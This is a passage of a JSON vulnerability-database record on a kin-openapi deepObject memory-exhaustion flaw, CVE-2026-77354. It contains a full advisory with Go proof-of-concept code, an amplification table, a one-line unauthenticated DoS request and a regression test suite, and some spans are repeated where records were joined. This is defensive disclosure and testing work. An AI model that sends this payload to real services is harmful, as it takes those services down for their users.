B | 555 MiB | ~25,300,000× |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× |\n\n**Attack request** (nothing else required — no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /b:\n post:\n requestBody:\n content:\n application/json:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n multipart/form-data:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /p/{param}:\n get:\n parameters:\n - name: param\n in: path\n required: true\n style: simple\n explode: false\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).","status":"published","published":"2026-08-21T20:56:56Z","modified":"2026-08-21T20:56:57Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:41:04.755504Z"}],"nvd":[{"id":"CVE-2026-77354","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T21:17:07.13Z","modified":"2026-10-12T16:10:00.22Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-77354","title":"kin-openapi: Uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T20:44:47.792Z","modified":"2026-10-28T02:30:47.013549032Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"DEBIAN-CVE-2026-77354","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T21:17:07.13Z","modified":"2026-10-13T09:47:30.87522305Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:03.502256Z"},{"id":"GHSA-xhj3-7xw9-vr34","title":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k) // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k // max = attacker's index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ { // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil) // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n```\n\n**2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× |\n\n**Attack request** (nothing else required — no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /b:\n post:\n requestBody:\n content:\n application/json:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n multipart/form-data:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := 